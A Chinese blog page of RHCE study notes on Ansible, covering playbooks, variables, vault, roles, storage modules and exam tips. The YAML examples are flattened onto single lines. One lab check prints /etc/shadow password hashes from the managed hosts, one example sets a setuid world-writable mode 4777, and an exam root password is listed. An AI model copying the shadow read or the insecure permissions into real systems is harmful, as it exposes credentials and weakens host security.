首页
统计信息
友情链接
壁纸
Search
1
【更新】CommentToMail typecho2017&v4.1& Mailer三版本,支持php5.6/7,插件详解
158,242 阅读
2
【90APT开源免费】第三代哈弗H6、哈弗大狗、H6经典版、坦克300车机开启无线ADB、升级地图、安装软件全流程
23,516 阅读
3
CentOS 7安装bbr教程
12,971 阅读
4
纯小白10分钟变身linux建站高手?宝塔linux面板全体验
12,558 阅读
5
深信服超融合架构测试介绍
12,160 阅读
技术相关
ACG相关
胡言乱语
数码杂烩
登录
Search
标签搜索
进击的巨人
漫画
宝塔
php
typecho
diy
vps
折腾
动漫
优酷路由宝
ubuntu
路由器
QQ
KMS
王忘杰
累计撰写
290
篇文章
累计收到
179
条评论
首页
栏目
技术相关
ACG相关
胡言乱语
数码杂烩
页面
统计信息
友情链接
壁纸
搜索到
258
篇与
的结果
2022-09-18
RHCE学习笔记2
yml文件 yaml声明式语言,要求语法检测必须通过key:[空格]值hosts:[空格]值user模块,创建一个用户 参数:statestate: presentansible-doc -s user 范例ansible-doc user 范例 user:name: johnd comment: John Doe uid: 1040 group: admin 使用vim写yml文件hosts 跟inventory清单里的一台主机,跟主机组 多个主机之间或者多个组之间用逗号隔开,隔开比如web,db,lamp | all所有清单all 即 ansible.cfg中inventory所有主机yml写完后,通过ansible-playbook命令运行ansible-playbook -i /tmp/invenoty2.py 使用指定清单新建一个剧本first.ymlname: This is first yml filehosts: web,dbtasks: - name: create user upnange123 user: name: upnange123 state: present uid: 1800 通过ansible-playbook --syntax-check first.yml进行语法检查playbook: first.yml 语法通过执行完playbook后随后进行验证,通过add-hocansible 组名 | 主机名 -m shell | command 都可以 -a 执行一些传统命令command 直接对接shell环境 /bin/bash | /bin/false格式不对检查报错ansible-playbook --syntax-check first.ymlERROR! We were unable to read either as JSON nor YAML, these are the errors we got from each:JSON: Expecting value: line 1 column 1 (char 0)Syntax Error while loading YAML. did not find expected '-' indicator剧本增加模块name: This is first yml filehosts: web,dbtasks: - name: create user upnange123 user: name: upnange123 state: present uid: 1800 - name: verify upnange123 is exist shell: cmd: tail -1 /etc/passwd ansible-playbook first.yml 执行脚本PLAY [This is first yml file] 读取yml文件剧本TASK [Gathering Facts] *收集事实变量ok: [serverc]ok: [serverb]ok: [servera]ok: [serverd]TASK [create user upnange123] 执行第一个任务,创建用户changed: [serverb]changed: [serverc]changed: [servera]changed: [serverd]TASK [verify upnange123 is exist] **执行第二个任务changed: [serverc]changed: [serverd]changed: [servera]changed: [serverb]PLAY RECAP *回放执行过程servera : ok=3 changed=2 unreachable=0 failed=0 skipped=0 rescued=0 ignored=0serverb : ok=3 changed=2 unreachable=0 failed=0 skipped=0 rescued=0 ignored=0serverc : ok=3 changed=2 unreachable=0 failed=0 skipped=0 rescued=0 ignored=0serverd : ok=3 changed=2 unreachable=0 failed=0 skipped=0 rescued=0 ignored=0ansible 幂等性ok 绿色 成功 没有对结果产生影响changed 黄色 成功了对结果产生影响ignored 任务执行失败 忽略找手感环节1:最开始的playbook:找到你的手感vim first.yml---(回车)(空格)(空格)-(空格)name:(空格)xxxxxxxx(回车)直接写hosts:(空格)xxx(回车)直接写tasks:(回车)直接写-(空格)name:(空格)xxxxxxxx(回车)直接写模块比如shell:(回车)直接写参数比如cmd:(空格)xxxxxxxx(回车)多个参数,直接写参数比如create:(空格)xxxxxxxx(回车)到此,一个play就结束了 多个play,先进行语法检测,多用复制粘贴主机列表项方式name: xxxhosts: - web - dbtasks: - name: xxx shell: xxx tasks列表项方式,直接 -模块name: This is first yml filehosts: web,dbhosts: - web - db tasks: - name: create user upnange123 user: name: upnange123 state: present uid: 1800 - name: verify upnange123 is exist shell: cmd: tail -1 /etc/passwd - user: name: upnange123 state: absent remove: yes 最终验证:ansible all -m shell -a "id upnange123"语法检测ansible-playbook --syntax-check first.yml进行语法检查-C 预运行,并不真正运行,只是模拟运行 ansible-playbook -C 7.yml排错 ansible-playbook 7.yml -v-v 显示较为详细任务输出-vv 任务所在行数-vvv 环境用到的包-vvvv 任务是通过哪个用户的身份去运行-vv平时用的多找手感2:对 YAML 格式的识别以及格式上的自动对齐vi ~/.vimrcautocmd FileType yaml setlocal ai ts=2 sw=2 et写playbook时开两个窗口,一个vim xxx.yml 另一个ansible-doc xxx需要熟悉常用模块的参数经典部署httpd1、传统命令方式部署:1.1 安装单节点 servera yum install httpd1.2 启动服务器 systemctl enable --now httpd1.3 搞站点website /var/www/html echo "xxx" > index.html1.4 改端口httpd.conf apache 80-80801.5 重启httpd systemctl restart httpd1.6 发现index.html 无法通过firefox访问 selinux端口策略、安全性上下文,firewalld查看端口开放2、ansible不是httpd2.1 yum模块2.2 service模块2.3 copy模块2.4 lineinfile模块2.5 service模块2.6 copy | file setype参数,firewalld模块举例name: deploy httpdhosts: servera,serverbtasks: - name: install httpd package yum: name: httpd state: present - name: Start service httpd, if not started service: name: httpd state: started enabled: yes - name: copy index.html copy: content: 'upnange666' dest: /var/www/html/index.html owner: apache group: apache mode: '0444' setype: httpd_sys_content_t - name: modify httpd.conf port 8080 lineinfile: path: /etc/httpd/conf/httpd.conf regexp: '^Listen' line: Listen 8080 - name: restart httpd service service: name: httpd state: restarted - name: verify firewalld service is started service: name: firewalld state: started enabled: yes - name: add firwalld policy tcp 8080 firewalld: port: 8080/tcp permanent: yes immediate: yes state: enabled验证[student@workstation ansible]$ curl http://serverb:8080upnange666[student@workstation ansible]$playbook中的远程用户ansible 控制节点ansible.cfgremote_user=student | devops被管理节点又devops用户 | devops sudo1、被管理环境要有用户2、要有sudo权限ansible.cfgremote_user=devops除了bastion之外,其他的跑ansible任务没有问题觉得bastion用devops不太方便 ,没有用户,调用已经存在的sudo用户抛开全局默认的远程用户,单独执行yml针对bastion配置student用户执行grep -v -e "#" -e "^$" ansible.cfg 查看配置方法举例name: create user devops for bastionhosts: bastionremote_user: studentbecome: Truebecome_method: sudobecome_user: roottasks: - name: creat user user: name: devops state: present 该报错跟用户是否存在有关:[student@workstation ansible]$ ansible bastion -m shell -a "id student"bastion | UNREACHABLE! => {"changed": false, "msg": "Failed to connect to the host via ssh: devops@bastion: Permission denied (publickey,gssapi-keyex,gssapi-with-mic,password).", "unreachable": true}该报错表示devops用户没有加入sudo:[student@workstation ansible]$ ansible bastion -m ping bastion | FAILED! => {"msg": "Missing sudo password"}变量命名字母开头,字母、数字、下划线变量 在不同的位置进行调用和使用1、playbook中 优先级局中 通过vars定义变量 也可以通过vars_files 将一个外部的yml作为变量的文件使用2、执行playbook 通过ansible-playbook -e 使用 优先级最高3、inventory清单中指定主机组变量优先级排序一、在playbook中应用变量name: deploy httpdhosts: servera,serverbvars: pack_name: httpd service_name: httpd service_port: 8080tasks: - name: install "{{ pack_name }}" package yum: name: "{{ pack_name }}" state: present - name: Start service "{{ service_name }}", if not started service: name: "{{ service_name }}" state: started enabled: yes - name: copy index.html copy: content: 'upnange666' dest: /var/www/html/index.html owner: apache group: apache mode: '0444' setype: httpd_sys_content_t - name: modify httpd.conf port "{{ service_port }}" lineinfile: path: /etc/httpd/conf/httpd.conf regexp: '^Listen' line: Listen "{{ service_port }}" - name: restart "{{ service_name }}" service service: name: "{{ service_name }}" state: restarted - name: verify firewalld service is started service: name: firewalld state: started enabled: yes - name: add firwalld policy tcp "{{ service_port }}" firewalld: port: "{{ service_port }}/tcp" permanent: yes immediate: yes state: enabled 二、创建外部vars变量文件[student@workstation vars]$ cat ~/ansible/vars/httpd.ymlpack_name: httpdservice_name: httpdservice_port: 8080引用外部vars变量文件[student@workstation ansible]$ cat deploy-httpd.ymlname: deploy httpdhosts: servera,serverbvars_files: - vars/httpd.ymltasks:[student@workstation ansible]$ cat remove_httpd.ymlname: remove httpdhosts: servera,serverbvars_files: - vars/httpd.ymltasks: - name: remove yum: name: "{{ pack_name }}" state: absent 三、在playbook运行时指定变量名,优先级最高ansible-playbook -e 变量名=变量值 -e 变量名=变量值[student@workstation ansible]$ ansible-playbook remove_httpd.yml -e pack_name=redisPLAY [remove "redis"] *TASK [Gathering Facts] **ok: [serverb]ok: [servera]四、在清单中对单一主机指定变量,清单中优先级比playbook中定义vars | vars_file 要低[student@workstation ansible]$ cat inventorybastion[web]servera pack_name=redis在清单中对主机组中所有主机设置变量[student@workstation ansible]$ cat inventorybastion[web]serveraserverb[db]servercserverd[web:vars]pack_name=vsftp优先级1、ansible-playbook -e 优先级最高2、vars | vars_file 优先级居中3、清单变量优先级最低debug信息输出[student@workstation ansible]$ cat regist.ymlname: register copy modulehosts: webtasks: - name: copy output copy: src: upnange.txt dest: /opt/ mode: 4777 register: upnange - name: debug output debug: #msg: "upnange.txt copy sucess!" var: upnange 变量类型字符串数组[student@workstation vars]$ cat users.ymlusers: upwen: uid: 1888 user-name: upwen2022 shell: /bin/bash upnange: uid: 1900 user-name: upnange666 shell: /bin/nologin取值users.upwen.user_nameusers'upnange'需要调试![student@workstation ansible]$ cat useradd.ymlname: useradd userhosts: webvars_files: - vars/users.ymltasks: - name: create user "{{ users.upwen.user_name }}" user: name: "{{ users.upwen.user_name }}" uid: "{{ users.upwen.uid }}" shell: "{{ users.upwen.shell }}" state: present - name: create user "{{ users['upnange']['user_name'] }}" user: name: "{{ users['upnange']['user_name'] }}" uid: "{{ users['upnange']['uid'] }}" shell: "{{ users['upnange']['shell'] }}" state: present[student@workstation ansible]$ cat vars/users.ymlusers: upwen: uid: 1888 user_name: upwen2022 shell: /bin/bash upnange: uid: 1900 user_name: upnange666 shell: /bin/nologin 过滤器 用来设置密文密码password: "{{ 'redhat' | password_hash('sha512') }}"举例name: useradd userhosts: webvars_files: - vars/users.ymltasks: - name: create user "{{ users.upwen.user_name }}" user: name: "{{ users.upwen.user_name }}" uid: "{{ users.upwen.uid }}" shell: "{{ users.upwen.shell }}" state: present password: "{{ 'redhat' | password_hash('sha512') }}" - name: create user "{{ users['upnange']['user_name'] }}" user: name: "{{ users['upnange']['user_name'] }}" uid: "{{ users['upnange']['uid'] }}" shell: "{{ users['upnange']['shell'] }}" state: present password: "{{ 'redhat' }}"验证,不使用passwd过滤器的显示为明文[student@workstation ansible]$ ansible web -m shell -a "tail -4 /etc/shadow"servera | CHANGED | rc=0 >>upwen2022:!!:19252:0:99999:7:::upnange666:!!:19252:0:99999:7:::upwen2033:$6$.bNwaSnhAOaSFJs1$GOVFXHv4TbSmJQwP676gEGnHEtHE.bTHnOBR7KyHal5jD/125j6yGfok5wOD0SU1it.og01i1YjWZ2WeQCwjj0:19252:0:99999:7:::upnange667:redhat:19252:0:99999:7:::serverb | CHANGED | rc=0 >>upwen2022:!!:19252:0:99999:7:::upnange666:!!:19252:0:99999:7:::upwen2033:$6$4jdDWFLp3bfV0aV3$PXLKRGG4ccsH4NaXWfQXmKaylBqGu5ItITw8wUOmsLbbctkx9lF/4SHiSfAEODXI35YvmGXIR/Zmpvt5L5uXq.:19252:0:99999:7:::upnange667:redhat:19252:0:99999:7:::管理机密定义管理机密ansible vault 创建、编辑、加密、解密、查看文件创建新的加密yml文件ansible-vault create vault1.yml编辑edit查看view指定密码运行--ask-vault-pass通过文件读取密码--vault-password-file=/xx.txt通过ansible.cfg配置密码,配置后全部操作免密第140行,取消注释修改vault_password_file = /xx先创建再加密ansible-vault encrypt useradd.yml解密ansible-vault decrypt useradd.yml更新密码rekey管理事实:1、收集事实2、关闭开启事实收集gather_facts: no | yes3、收集事实变量ansible servera -m setup4、魔法变量ansible localhost -m debug -a "var=hostvars.localhost"ansible实施与控制简单循环 loop "{ item }}"示例[student@workstation ansible]$ cat loop1.ymlname: create userhosts: webtasks: - name: loop user user: name: "{{ item }}" state: present loop: - upwen12 - upwen13 - upwen14 - upwen15 when条件魔法变量事实变量rc值 result code num变量 == 值变量 != 值变量 is defined变量 is not definedwhen举例[student@workstation ansible]$ cat when1.ymlname: when testhosts: web,db,balancertasks: - name: install haproxy on balancer group yum: name: haproxy state: latest when: inventory_hostname in groups.web - name: install redis on db group yum: name: redis state: latest when: inventory_hostname in groups['db'] rc举例[student@workstation ansible]$ cat rc.ymlname: rchosts: webtasks: - name: rpm shell: cmd: rpm -qa | grep -i haproxy register: upnange - name: debug debug: var: upnange.rc when结合rc举例[student@workstation ansible]$ cat rc.ymlname: rchosts: webtasks: - name: rpm shell: cmd: rpm -qa | grep -i haproxy register: upnange - name: remove yum: name: haproxy state: absent when: upnange.rc == 0 - name: debug debug: var: upnange.rc 验证ansible web -m shell -a "rpm -qa | grep -i haproxy"程序处理启动服务 | 重启服务 handlers实现必须对应一个play模块 对应的任务黄色changed 实现handlersansible幂等性 黄色changedhandlers 整个playbook中最后才去运行1、install httpd 触发handlers2、搞网站3、改主配置文件端口 80804、防火墙策略最后一步 handlers start | restart 服务 curl | firefox 举例upnange666[student@workstation ansible]$ cat handlers.ymlname: deploy httpdhosts: servera,serverbvars:pack_name: httpdservice_name: httpdservice_port: 8080vars_files: - vars/httpd.ymltasks: - name: install "{{ pack_name }}" package yum: name: "{{ pack_name }}" state: present notify: - restart "{{ service_name }}" service - name: copy index.html copy: content: 'upnange666' dest: /var/www/html/index.html owner: apache group: apache mode: '0444' setype: httpd_sys_content_t - name: modify httpd.conf port "{{ service_port }}" lineinfile: path: /etc/httpd/conf/httpd.conf regexp: '^Listen' line: Listen "{{ service_port }}"handlers: - name: restart "{{ service_name }}" service service: name: "{{ service_name }}" state: restarted - name: verify firewalld service is started service: name: firewalld state: started enabled: yes - name: add firwalld policy tcp "{{ service_port }}" firewalld: port: "{{ service_port }}/tcp" permanent: yes immediate: yes state: enabled验证[student@workstation ansible]$ curl http://servera:8080upnange666任务控制,失败处理需修改验证[student@workstation ansible]$ cat rremove_httpd.ymlname: remove "{{ pack_name }}"hosts: servera,serverbvars_files: - vars/httpd.ymltasks: - name: remove yum: name: http state: absent ignore_errors: yes handlers强制通过[student@workstation ansible]$ cat deploy-httpd.ymlname: deploy httpdhosts: servera,serverbforce_handlers: yes指定失败条件failed_when:举例:[student@workstation ansible]$ cat failed_when.ymlname: failed_whenhosts: webtasks: - name: excute /bin/false command: /bin/false register: upnange failed_when: upnange.rc != 1 - name: debug debug: var: upnange.rc验证:TASK [debug] ok: [servera] => {"upnange.rc": "1"}ok: [serverb] => {"upnange.rc": "1"}ansible 块与错误处理block | rescue | always首先在block跑play任务,成功-》进入always中运行play任务不成功-》进入rescue中,执行rescue里的play任务,再去走always举例[student@workstation ansible]$ cat block_rescure_always.ymlname: block & rescure & alwayshosts: webtasks: - name: block & rescure & always block: - name: vaerify upnange shell: id -un upnange rescue: - name: create user upnange user: name: upnange state: present always: - name: mofity upnange user groups is wheel user: name: upnange groups: wheel append: yes验证[student@workstation ansible]$ ansible web -m shell -a "id upnange"serverb | CHANGED | rc=0 >>uid=1906(upnange) gid=1906(upnange) groups=1906(upnange),10(wheel)servera | CHANGED | rc=0 >>uid=1906(upnange) gid=1906(upnange) groups=1906(upnange),10(wheel)在被管理节点执行lineinfile:blockinfile:创建写入ansible web -m blockinfile -a "path=/opt/up.txt create=true block='up666'"清空内容[student@workstation ansible]$ ansible web -m blockinfile -a "path=/opt/up.txt state=absent"sefcontext: selinux模块stat:jinja2模板模板 xxx.j2 文件名 使用事实变量 | 魔法变量通过template模块 src参数指定xxx.j2 dest= ansible被管理节点中的一个目标在被管理节点中可以输出 自己的事实变量的内容 servera fqdn ip kernel也可以在servera输出 别人的事实变量的值servera | b | c /etc/hosts文件通过jinja2 获取配合循环for控制ifjinja2语法调用变量: {{ ansible_facts.fqdn }} ansible servera -m setup 输出servera的事实变量循环:{{% for xxxx %}}中间贯穿变量的使用 {{% endfor %}}结合事实变量xx.j2welcome to vist {{ ansible_facts.fqdn }}结合魔法变量xx.j2也可以这样写:[student@workstation ansible]$ cat for.j2 {% for upnange in groups['all'] %} {{ hostvars[upnange].ansible_facts.default_ipv4.address }} {{ hostvarsupnange['fqdn'] }} {{ hostvarsupnange['hostname'] }} {% endfor %}管理大项目 CMDB 配置管理数据库动态清单演示 动态清单启动环境[student@workstation ansible]$ lab projects-inventory startSetting up workstation for lab exercise work:· Verifying Ansible installation.............................. SUCCESS · Creating working directory.................................. SUCCESS · Deploying ansible.cfg....................................... SUCCESS[student@workstation ansible]$ cd ~[student@workstation ~]$ cd projects-inventory/[student@workstation projects-inventory]$ lltotal 4-rw-r--r--. 1 student student 33 Sep 18 09:39 ansible.cfg下载脚本wget http://materials.example.com/labs/projects-inventory/inventorya.pywget http://materials.example.com/labs/projects-inventory/inventoryw.pychmod +x *.pyansible -i ./inventorya.py servera --list-hosts./inventorya.py --list配置并行[student@workstation ansible]$ cat ansible.cfg | grep forksforks = 5滚动更新,防止同时停止服务serial: 1位置在hosts下一行包含include和导入import,引申roles角色把yml拆分多个小的yml安装:install.yml防火墙:firewalld.yml管理服务:service.ymlimport 静态操作,解析剧本时对所有import静态处理include动态操作,执行playbook时进行处理install.yml 负责主要是安装的功能service.yml 负责主要是服务管理的功能注意,不要写hosts总体yml project1.yml 写hostsimport install.ymlinclude service.yml举例[student@workstation ansible]$ cat install.ymlname: install packageyum: name: vsftpd state: latest[student@workstation ansible]$ cat service.ymlname: service manageservice: name: vsftpd state: started enabled: yes[student@workstation ansible]$ cat porject1.ymlname: project1hosts: dbtasks: - name: import install vsftpd import_tasks: install.yml - name: include service vsftpd include_tasks: service.yml 验证[student@workstation ansible]$ ansible-playbook porject1.ymlPLAY [project1] *TASK [Gathering Facts] **ok: [serverd]ok: [serverc]TASK [install package] **changed: [serverd]changed: [serverc]TASK [include service vsftpd] *included: /home/student/ansible/service.yml for serverc, serverdTASK [service manage] *changed: [serverc]changed: [serverd]PLAY RECAP **serverc : ok=4 changed=2 unreachable=0 failed=0 skipped=0 rescued=0 ignored=0serverd : ok=4 changed=2 unreachable=0 failed=0 skipped=0 rescued=0 ignored=0通过角色简化playbookroles角色通过roles 标准化的目录结构目录1 子目录: var 子目录:template目录1 变成一个角色 使用 任何的yml 不带hosts写一个用于调用该角色的一个yml 这个yml文件指定hosts[student@workstation ansible]$ cat ansible.cfg | grep rolesadditional paths to search for roles in, colon separatedroles_path = /home/student/ansible/roles初始化roles[student@workstation roles]$ ansible-galaxy init apacheRole apache was created successfully[student@workstation roles]$ lltotal 0drwxrwxr-x. 10 student student 154 Sep 18 10:22 apache[student@workstation roles]$ tree apache/apache/├── defaults│ └── main.yml├── files├── handlers│ └── main.yml├── meta│ └── main.yml├── README.md├── tasks│ └── main.yml├── templates├── tests│ ├── inventory│ └── test.yml└── vars └── main.yml角色叫apache 里面包含主体的yml tasks目录下 hadlers 目录用于触发器 vars存放变量文件 templates j2角色如何去做:1、自定义2、系统角色3、从ansible galaxy 网站 下载 使用1、自定义 ansible-galaxy init apache自己从头到尾编写2、系统角色 直接安装即可 写好调用即可3、从ansible galaxy网站 通过anisble-galaxy install 方式 指定角色压缩包 写好调用的角色 配置好hosts系统角色ansible控制节点[student@workstation roles]$ sudo yum install rhel-system-roles -y[student@workstation roles]$ ansible-galaxy list/usr/share/ansible/roleslinux-system-roles.certificate, (unknown version)linux-system-roles.crypto_policies, (unknown version)linux-system-roles.ha_cluster, (unknown version)linux-system-roles.kdump, (unknown version)linux-system-roles.kernel_settings, (unknown version)linux-system-roles.logging, (unknown version)linux-system-roles.metrics, (unknown version)linux-system-roles.nbde_client, (unknown version)linux-system-roles.nbde_server, (unknown version)linux-system-roles.network, (unknown version)linux-system-roles.postfix, (unknown version)linux-system-roles.selinux, (unknown version)linux-system-roles.ssh, (unknown version)linux-system-roles.sshd, (unknown version)linux-system-roles.storage, (unknown version)linux-system-roles.timesync, (unknown version)linux-system-roles.tlog, (unknown version)rhel-system-roles.certificate, (unknown version)rhel-system-roles.crypto_policies, (unknown version)rhel-system-roles.ha_cluster, (unknown version)rhel-system-roles.kdump, (unknown version)rhel-system-roles.kernel_settings, (unknown version)rhel-system-roles.logging, (unknown version)rhel-system-roles.metrics, (unknown version)rhel-system-roles.nbde_client, (unknown version)rhel-system-roles.nbde_server, (unknown version)rhel-system-roles.network, (unknown version)rhel-system-roles.postfix, (unknown version)rhel-system-roles.selinux, (unknown version)rhel-system-roles.ssh, (unknown version)rhel-system-roles.sshd, (unknown version)rhel-system-roles.storage, (unknown version)rhel-system-roles.timesync, (unknown version)rhel-system-roles.tlog, (unknown version)/etc/ansible/roles[student@workstation roles]$ cd /usr/share/ansible/roles/[student@workstation roles]$ lslinux-system-roles.certificate rhel-system-roles.certificatelinux-system-roles.crypto_policies rhel-system-roles.crypto_policieslinux-system-roles.ha_cluster rhel-system-roles.ha_clusterlinux-system-roles.kdump rhel-system-roles.kdumplinux-system-roles.kernel_settings rhel-system-roles.kernel_settingslinux-system-roles.logging rhel-system-roles.logginglinux-system-roles.metrics rhel-system-roles.metricslinux-system-roles.nbde_client rhel-system-roles.nbde_clientlinux-system-roles.nbde_server rhel-system-roles.nbde_serverlinux-system-roles.network rhel-system-roles.networklinux-system-roles.postfix rhel-system-roles.postfixlinux-system-roles.selinux rhel-system-roles.selinuxlinux-system-roles.ssh rhel-system-roles.sshlinux-system-roles.sshd rhel-system-roles.sshdlinux-system-roles.storage rhel-system-roles.storagelinux-system-roles.timesync rhel-system-roles.timesynclinux-system-roles.tlog rhel-system-roles.tlogtimesync时间同步的系统角色 复制到 [student@workstation roles]$ cp -av rhel-system-roles.timesync/ /home/student/ansible/roles/系统角色,写好调用timesync角色的ymlExample PlaybookInstall and configure ntp to synchronize the system clock with three NTP servers:- hosts: targets vars: timesync_ntp_servers: - hostname: foo.example.com iburst: yes - hostname: bar.example.com iburst: yes - hostname: baz.example.com iburst: yes roles: - rhel-system-roles.timesync实验环境ntp在classroom中 classroom.example.comhosts: webvars: timesync_ntp_servers:- hostname: classroom.example.com iburst: yesroles:rhel-system-roles.timesync复制到vim中需要先进入粘贴模式:set paste验证结果ansible web -m shell -a "chronyc sources -v"timedatectl关注一个点:系统角色已经提前写好 tasks目录下的main.yml时角色主题,不需要 ansible-playbook main --syntax-check只检查自己调用角色的yml自定义角色变量-vars目录jinja2模板-timplates目录handlers触发器-handlers目录自定义角色:ansible-galaxy init apache变量:[student@workstation apache]$ cat ../../var/httpd.yml pack_name: httpdservice_name: httpdservice_port: 8080apache角色中的vars目录中的main.yml[student@workstation vars]$ cat main.ymlvars file for apachepack_name: httpdservice_name: httpdservice_port: 8080jinjia2模板:[student@workstation vars]$ cat ../../../upnange.j2 welcome to vist {{ ansible_facts.fqdn }} {{ ansible_facts['fqdn'] }} on {{ ansible_facts.default_ipv4.address }}apache角色中的templates目录中的main.yml[student@workstation templates]$ cp -p /home/student/ansible/upnange.j2 .handlers触发器:apache角色中的hanlders目录中的main.yml - name: start {{ service_name }} service service: name: "{{ service_name }}" state: started enabled: yes [student@workstation handlers]$ cat main.ymlhandlers file for apachename: start {{ service_name }} serviceservice: name: "{{ service_name }}" state: started enabled: yesapache角色中的tasks目录中的main.yml 存放主体的yml[student@workstation tasks]$ cat main.ymltasks file for apachename: install {{ pack_name }} packageyum: name: "{{ pack_name }}" state: presentname: template index.htmltemplate: src: upnange.j2 dest: /var/www/html/index.html owner: apache group: apache mode: 0444 setype: httpd_sys_content_tname: modify httpd.conf port {{ service_port }}lineinfile: path: /etc/httpd/conf/httpd.conf regexp: '^Listen' line: line: "Listen {{ service_port }}"notify:start {{ service_name }} servicename: add firewall policy tcp {{ service_port }}firewalld: port: "{{ service_port }}/tcp" permanent: yes immediate: yes state: enabled调用apache角色的yml[student@workstation tasks]$ vim /home/student/ansible/apache.ymlname: deploy apachehosts: webroles:apacheansible-galaxygalaxy.ansible.comrz -E xxsz -E xx上传下载ansible-galaxyhttps://galaxy.ansible.com/community-aws-1.5.0.tar.gz 上传ansible控制节点rz -E community-aws-1.5.0.tar.gz 直接上传到workstationsz -E xxxx.txtF0主机的/content目录下新建roles目录 上传通过浏览器访问http://content.example.com/roles/workstation wget http://content.example.com/roles/community-aws-1.5.0.tar.gz写一个yml 指定角色的来源 并且角色名称[student@workstation roles]$ cat require.ymlsrc: http://content.example.com/roles/community-aws-1.5.0.tar.gzname: aws[student@workstation roles]$ ansible-galaxy install -r require.yml -p /home/student/ansible/rolesdownloading role from http://content.example.com/roles/community-aws-1.5.0.tar.gzextracting aws to /home/student/ansible/roles/awsaws was installed successfullyansible 故障排除配置ansible日志[student@workstation ansible]$ cat ansible.cfg | grep log_pathlog_path = /var/log/ansible.log自动化模块copy | file | fetch管理类模块yum_repository自动化模块:copy | file | fetch | yum | user | group | lineinfile | blockinfile | stat | yum_repository | service | firewalld管理类模块:搭建YUM仓库gpgcheck=1 gpgkey=http://content.example.com/rhel8.4/x86_64/dvd/RPM-GPG-KEY-redhat-releasecsa rpm --import http://content.example.com/rhel8.4/x86_64/dvd/RPM-GPG-KEY-redhat-releaseansible all -m shell -a "rpm --import http://content.example.com/rhel8.4/x86_64/dvd/RPM-GPG-KEY-redhat-release"rpm_key管理模块:[student@workstation ansible]$ cat yum_repository.ymlname: deploy yum repositoryhosts: alltasks:name: deploy yum repository baseosyum_repository: name: rh294_baseos description: 'This is rh294 BaseOS' file: rh294_baseos baseurl: http://content.example.com/rhel8.4/x86_64/dvd/BaseOS enabled: yes gpgcheck: yes gpgkey: http://content.example.com/rhel8.4/x86_64/dvd/RPM-GPG-KEY-redhat-releasename: deploy yum repository appstreamyum_repository: name: rh294_AppStream description: 'This is rh294 AppStream' file: rh294_AppStream baseurl: http://content.example.com/rhel8.4/x86_64/dvd/AppStream enabled: yes gpgcheck: yes gpgkey: http://content.example.com/rhel8.4/x86_64/dvd/RPM-GPG-KEY-redhat-releasename: import gpgkeyrpm_key: key: http://content.example.com/rhel8.4/x86_64/dvd/RPM-GPG-KEY-redhat-release state: presentuser管理模块:name | uid | group私有组 | groups | append | home | state present absent | password + 过滤器 | expires 账户的过期时间 shadow 倒数第2列 19700101+useradd -e 密码的过期时间 42~60 90 : ansible all -m shell -a "chage -M xxxxx"it-manager | PM product manager | role 身份存储的管理模块:涉及到分区parted、文件系统filesystem、挂载mount (标准形式)LVM lvg lvol 传统命令:vgcreate -s 16M upnangevg /dev/vdb /dev/vdc2lvg 模块 1、先去创建转换pv pvcreate /dev/vdb2、vgcreatevgcreate -s 32M upnangevg /dev/vdc1lvg: - name: create upnangevg lvg: vg: upnangevg pvs: /dev/vdb pesize: 32 创建lv逻辑卷lvcreate -L xxG -n lv1 upnangevglvcreate -l xxxpe个数 -n lv1 upnangevglvol: - name: create lv1 in upnangevg lvol: vg: upnangevg size: 800m lv: lv1 创建文件系统:mkfs -t ext4 | mkfs.xfs /dev/upnangevg/lv1filesystem: - name: create filesystem ext4 filesystem: fstype: ext4 dev: /dev/upnangevg/lv1 挂载使用:涉及到开机自动挂载 /etc/fstab 随手写到该文件中mkdir -p /opt/dir1 && mount /dev/upnangevg/lv1 /opt/dir1 && vi /etc/fstab mount模块:state: mounted mount /dev/upnangevg/lv1 + vi /etc/fstab[student@workstation ansible]$ cat storage.ymlname: deploy lvmhosts: webtasks:name: create upnangevglvg: vg: upnangevg pvs: /dev/vdb pesize: 32mname: create lv1 in upnangevglvol: vg: upnangevg size: 800m lv: lv1name: create filesystem ext4filesystem: fstype: ext4 dev: /dev/upnangevg/lv1name: mount filesystemmount: path: /opt/dir1 src: /dev/upnangevg/lv1 fstype: ext4 state: mounted分区模块:partedparted 分区 set 分区号1 lvm on flagparted -l flag /dev/vdb1 = LVM[student@workstation ansible]$ cat parted.ymlname: parted /dev/vdb in db grouphosts: dbtasks:name: parted parted: device: /dev/vdb number: 1 part_end: 800MiB state: presentname: create file systemfilesystem: fstype: xfs dev: /dev/vdb1name: mountmount: path: /opt/dir2 src: /dev/vdb1 fstype: xfs state: presentcron计划任务:crontab -e -u upnangecrontab -e 当前用户(root | upnange)分 时 日 月 周 命令的全路径(考试跟全路径)10 17 * echo hellosystemctl restart crondcron模块:[student@workstation ansible]$ cat cron.ymlname: cronforce_handlers: yeshosts: webtasks:name: croncron: name: this is a job minute: "11" hour: "17" user: upnange job: "/usr/bin/echo hello" state: presentnotify:restart crond servicename: create filefile: path: /opt/file1 state: filehandlers:name: restart crond serviceservice: name: crond state: restarted[student@workstation ansible]$ ansible web -m shell -a "tail -10 /var/log/cron" RHCSA:1、磁盘分区结构 磁盘接口2、操作系统安装3、系统启动 init | systemd4、nmtui | nmcli | nmcli add | nmcli modify5、systemd功能 systemctl | systemctl --user6、目录操作mkdir rmdir stat文件操作 touch cp mv rm 链接文件 ln -s | ln7、系统信息收集 lscpu df du free timedatectl hostsnamectl tree find more less cat8、ssh 免密操作9、用户管理 userad | usermod | userdel-u -g -G -d -e -p -s -aG -m -r10、组 私有组 附加组 groupadd groupmod groupdel11、权限 chmod | chown chgrp特殊权限 suid | sgid | sticky ACL setfacl | getfacl12、软件 rpm -qa -qc -qlyum 仓库 yum | yum group xx yum module 模块流 contos-stream 13、磁盘管理 分区 fdisk gdisk parted14、lvm pv vg lv15、swap mkswap dd if=/dev/zero of=/xxx bs=xxx count=xxx16、VDO | stratis17、日志 rsyslog journald18、find19、容器podman20、tunedRHCE:ansibleansible.cfg 清单 静态 | 动态 CMDB配置管理数据库自动化模块过滤器playbook角色rolesDevOPS开发运维+自动化上午 RHCSA 满分300分 210通过 22道题 3个小时 前7天下午 RHCE 满分300分 210通过 16道题 4个小时 Ansible内容所有题 都是上机操作 V2.1版本 RHCSA+RHCE 最新版本RH124&134 RH294 平时上课练习环境考试练习环境:RHCE_exam vmware 虚拟机 CSA+CE 自带参考的评分脚本只要按照 样题解析文档 每一道题会包含知识点+解题步骤+最后要注意的细节 考试通过没有任何问题考试环境node1 node2 registry15个人考试node1.domain01.xxxxnode1.domain03.xxxx用户密码node1 root flectragnode2 自己破解强烈建议大家,考试的时候 涉及到创建用户、密码、YUM仓库地址 